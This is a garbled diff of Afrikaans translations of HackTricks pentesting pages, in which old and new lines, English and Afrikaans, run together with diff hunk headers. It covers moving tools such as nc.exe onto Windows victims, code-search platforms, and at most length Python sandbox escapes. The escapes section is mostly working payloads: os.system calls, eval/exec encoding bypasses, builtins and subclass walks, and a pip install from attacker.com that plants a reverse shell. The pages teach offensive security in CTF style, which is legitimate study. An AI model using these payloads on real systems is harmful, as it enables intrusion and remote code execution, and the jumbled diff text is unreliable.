As jy data na 'n SMTP-bediener kan stuur, kan jy 'n SMTP skep om die data met python te ontvang:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Standaard in XP en 2003 (in ander moet dit uitdruklik tydens installasie bygevoeg word)
Standaard in XP en 2003 (in ander moet dit eksplisiet tydens installasie bygevoeg word)
In Kali, **begin TFTP-bediener**:
In Kali, **begin TFTP bediener**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP-bediener in Python:**
**TFTP-bediener in python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
@ -307,7 +267,7 @@ tftp -i <KALI-IP> get nc.exe
```
## PHP
Laai 'n lêer af met 'n PHP eenlynstuk:
Laai 'n lêer af met 'n PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -315,7 +275,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Slagoffer**
**Slachtoffer**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@ -349,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Die `debug.exe` program bied nie net die vermoë om binêre lêers te inspekteer nie, maar het ook die **vermoë om hulle vanaf heks te herbou**. Dit beteken dat deur 'n heks van 'n binêre lêer te voorsien, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om daarop te let dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte saam te stel**.
Die `debug.exe` program stel nie net in staat om binêre te inspekteer nie, maar het ook die **vermoë om hulle vanaf hex te herbou**. Dit beteken dat deur 'n hex van 'n binêre te verskaf, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte te monteer**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Dan kopieer en plak die teks in die Windows-skootrekenaar en 'n lêer genaamd nc.exe sal geskep word.
Then copy-paste the text into the windows-shell and a file called nc.exe will be created.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -363,23 +323,17 @@ Dan kopieer en plak die teks in die Windows-skootrekenaar en 'n lêer genaamd nc
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,59 +1,45 @@
# Wyd Bronkode Soektog
# Wide Source Code Search
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi Span Kenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi Span Kenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Security Groep**
Die doel van hierdie bladsy is om **platforms te noem wat dit moontlik maak om kode** (letterlik of regex) in duisende/miljoene repos op een of meer platforms te soek.
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Die doel van hierdie bladsy is om **platforms te ontleed wat soektogte vir kode** (letterlik of regex) toelaat oor duisende/miljoene repos in een of meer platforms.
Dit help in verskeie geleenthede om **gelekte inligting** of **kwesbaarheids** patrone te soek.
Dit help in verskeie gevalle om **inligting wat gelek het** of **kwesbaarhede** patrone te soek.
* [**SourceGraph**](https://sourcegraph.com/search): Soek in miljoene repos. Daar is 'n gratis weergawe en 'n ondernemingsweergawe (met 15 dae gratis). Dit ondersteun regexes.
* [**Github Soektog**](https://github.com/search): Soek deur Github. Dit ondersteun regexes.
* Dit mag ook nuttig wees om ook [**Github Kode Soektog**](https://cs.github.com/) te kontroleer.
* [**Gitlab Gevorderde Soektog**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Soek deur Gitlab projekte. Ondersteun regexes.
* [**Github Search**](https://github.com/search): Soek oor Github. Dit ondersteun regexes.
* Miskien is dit ook nuttig om ook [**Github Code Search**](https://cs.github.com/) te kyk.
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Soek oor Gitlab projekte. Ondersteun regexes.
* [**SearchCode**](https://searchcode.com/): Soek kode in miljoene projekte.
{% hint style="warning" %}
Wanneer jy na lekke in 'n repo soek en iets soos `git log -p` hardloop, moenie vergeet dat daar dalk **ander takke met ander commits** is wat geheime bevat nie!
Wanneer jy soek na gelekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!
{% endhint %}
**Probeer Hard Security Groep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi Span Kenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi Span Kenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,19 +15,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
Dit is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
## Opdrag Uitvoering Biblioteke
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds ingevoerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds geïmporteerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
```python
os.system("ls")
os.popen("ls").read()
@ -75,7 +67,7 @@ Python probeer om **biblioteke van die huidige gids eerste** te **laai** (die vo
### Standaard pakkette
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Let daarop dat jy vanaf 'n pickle die python omgewing kan **importeer arbitrêre biblioteke** wat in die stelsel geïnstalleer is.\
Let daarop dat jy van 'n pickle die python omgewing kan **importeer arbitrêre biblioteke** wat in die stelsel geïnstalleer is.\
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek importeer om dit te gebruik:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -100,21 +92,21 @@ As jy toegang het tot `pip` of `pip.main()`, kan jy 'n arbitrêre pakket install
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
You kan die pakket aflaai om die omgekeerde skulp hier te skep. Let asseblief daarop dat jy dit moet **dekomprimeer, die `setup.py` moet verander, en jou IP vir die omgekeerde skulp moet plaas**:
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die omgekeerde skulp verlaat, die res van die installasie sal misluk, sodat jy **nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, sodat jy **nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
{% endhint %}
## Eval-ing python kode
## Eval-ing python code
{% hint style="warning" %}
Let daarop dat exec meerlyn strings en ";", maar eval nie toelaat nie (kyk walrus operator)
Let daarop dat exec meerlyn strings en ";", toelaat, maar eval nie (kyk walrus operator)
{% endhint %}
As sekere karakters verbode is, kan jy die **hex/octal/B64** voorstelling gebruik om die beperking te **bypass**:
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -158,9 +150,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## Bypass van beskermings deur kodering (UTF-7)
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n blykbare sandbox te laai en uit te voer:
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n skynbare sandbox te laai en uit te voer:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -171,11 +163,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Dit is ook moontlik om dit te omseil met ander koderinge, bv. `raw_unicode_escape` en `unicode_escape`.
Dit is ook moontlik om dit te omseil met ander kodering, byvoorbeeld `raw_unicode_escape` en `unicode_escape`.
## Python-uitvoering sonder oproepe
As jy binne 'n python-jail is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitêre funksies, kode** en **opdragte** uit te voer.
As jy binne 'n python-gevangenis is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitraire funksies, kode** en **opdragte** uit te voer.
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -205,7 +197,7 @@ As jy 'n **klas kan verklaar** en 'n **objek van daardie klas kan skep**, kan jy
#### RCE met pasgemaakte klasse
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) aanpas om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -272,9 +264,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Skep objek met uitsonderings
#### Skep voorwerpe met uitsonderings
Wanneer 'n **uitsondering geaktiveer** word, word 'n objek van die **Uitsondering** **gecreëer** sonder dat jy die konstruktors direk hoef aan te roep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Wanneer 'n **uitsondering geaktiveer** word, word 'n voorwerp van die **Uitsondering** **gecreëer** sonder dat jy die konstruktors direk moet aanroep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -316,7 +308,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Lees lêer met ingeboude hulp en lisensie
### Lees lêer met ingeboude hulp & lisensie
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -327,10 +319,10 @@ pass
```
## Builtins
* [**Builtins funksies van python2**](https://docs.python.org/2/library/functions.html)
* [**Builtins funksies van python3**](https://docs.python.org/3/library/functions.html)
* [**Geboude funksies van python2**](https://docs.python.org/2/library/functions.html)
* [**Geboude funksies van python3**](https://docs.python.org/3/library/functions.html)
As jy toegang kan kry tot die **`__builtins__`** objek kan jy biblioteke invoer (let op dat jy ook hier 'n ander string voorstelling kan gebruik soos in die laaste afdeling gewys):
As jy toegang kan kry tot die **`__builtins__`** objek kan jy biblioteke invoer (let op dat jy ook hier 'n ander string voorstelling kan gebruik wat in die laaste afdeling gewys is):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne hulle.
In die volgende voorbeelde kan jy sien hoe om **misbruik te maak** van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne hulle.
**Python2**
```python
@ -382,7 +374,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
[**Hieronder is daar 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
#### Python2 en Python3
```python
@ -426,9 +418,9 @@ class_obj.__init__.__globals__
```
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
## Ontdek Arbitrêre Uitvoering
## Ontdek Arbitraire Uitvoering
Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek en meer betroubare exploits voor te stel.
Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek wat gelaai is en meer betroubare exploits voor te stel.
#### Toegang tot subklasse met omseilings
@ -462,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Vind gevaarlike biblioteke wat gelaai is
Byvoorbeeld, om te weet dat met die biblioteek **`sys`** dit moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne hulle geïmporteer het**:
Byvoorbeeld, om te weet dat dit met die biblioteek **`sys`** moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne hulle geïmporteer het**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -471,7 +463,7 @@ Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte** uit te voer:
Ons kan dieselfde ding doen met **ander biblioteke** waarvan ons weet dat dit gebruik kan word om **opdragte** uit te voer:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -525,7 +517,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Boonop, as jy dink **ander biblioteke** mag in staat wees om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksiename** binne die moontlike biblioteke:
Boonop, as jy dink **ander biblioteke** mag in staat wees om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksie name** binne die moontlike biblioteke:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -686,7 +678,7 @@ You can check the output of this script on this page:
## Python Formaat String
As jy 'n **string** na python **stuur** wat gaan **geformateer** word, kan jy `{}` gebruik om toegang te verkry tot **python interne inligting.** Jy kan die vorige voorbeelde gebruik om toegang te verkry tot globals of builtins byvoorbeeld.
As jy 'n **string** na python **stuur** wat geformatteer gaan word, kan jy `{}` gebruik om toegang te verkry tot **python interne inligting.** Jy kan die vorige voorbeelde gebruik om toegang te verkry tot globals of builtins byvoorbeeld.
{% hint style="info" %}
Daar is egter 'n **beperking**, jy kan slegs die simbole `.[]` gebruik, so jy **sal nie in staat wees om arbitrêre kode uit te voer nie**, net om inligting te lees.\
@ -715,12 +707,12 @@ Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **uit te voer** die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Boonop is dit moontlik om **nuwe formatteraars** in klasse te **kodeer**:
Boonop is dit moontlik om **nuwe formatterers** in klasse te **kodeer**:
```python
class HAL9000(object):
def __format__(self, format):
@ -758,7 +750,7 @@ Kyk ook na die volgende bladsy vir gadgets wat r**ead sensitiewe inligting uit P
As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die vlag** is, ontvang en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek.
In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die vlag** geleë is, ontvang en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek.
Dit is die funksie om te ondersoek:
```python
@ -780,7 +772,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` en `func_globals` (Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud gesien word:
`__globals__` en `func_globals` (Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud sien wat verklaar is:
```python
get_flag.func_globals
get_flag.__globals__
@ -881,7 +873,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit **ontbind** dit plaaslik. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
Let op dat **as jy nie `dis` in die python sandbox kan invoer nie**, jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kan verkry en dit lokaal kan **ontleed**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -905,7 +897,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Compiling Python
Nou, kom ons stel ons voor dat jy op een of ander manier **die inligting oor 'n funksie wat jy nie kan uitvoer nie** kan **dump**, maar jy **moet** dit **uitvoer**.\
Nou, laat ons voorstel dat jy op een of ander manier **die inligting oor 'n funksie wat jy nie kan uitvoer nie** kan **dump**, maar jy **moet** dit **uitvoer**.\
Soos in die volgende voorbeeld, jy **kan toegang kry tot die kode objek** van daardie funksie, maar net deur die disassemble te lees, **weet jy nie hoe om die vlag te bereken nie** (_verbeel jou 'n meer komplekse `calc_flag` funksie_)
```python
def get_flag(some_input):
@ -919,9 +911,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Die kode objek skep
### Die kode objek te skep
Eerstens moet ons weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
Eerstens, ons moet weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -952,7 +944,7 @@ types.CodeType.__doc__
### Herstel van 'n gelekte funksie
{% hint style="warning" %}
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet lek**.
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy nodig sal hê om te lek**.
{% endhint %}
```python
fc = get_flag.__code__
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In vorige voorbeelde aan die begin van hierdie pos, kan jy **sien hoe om enige python kode uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
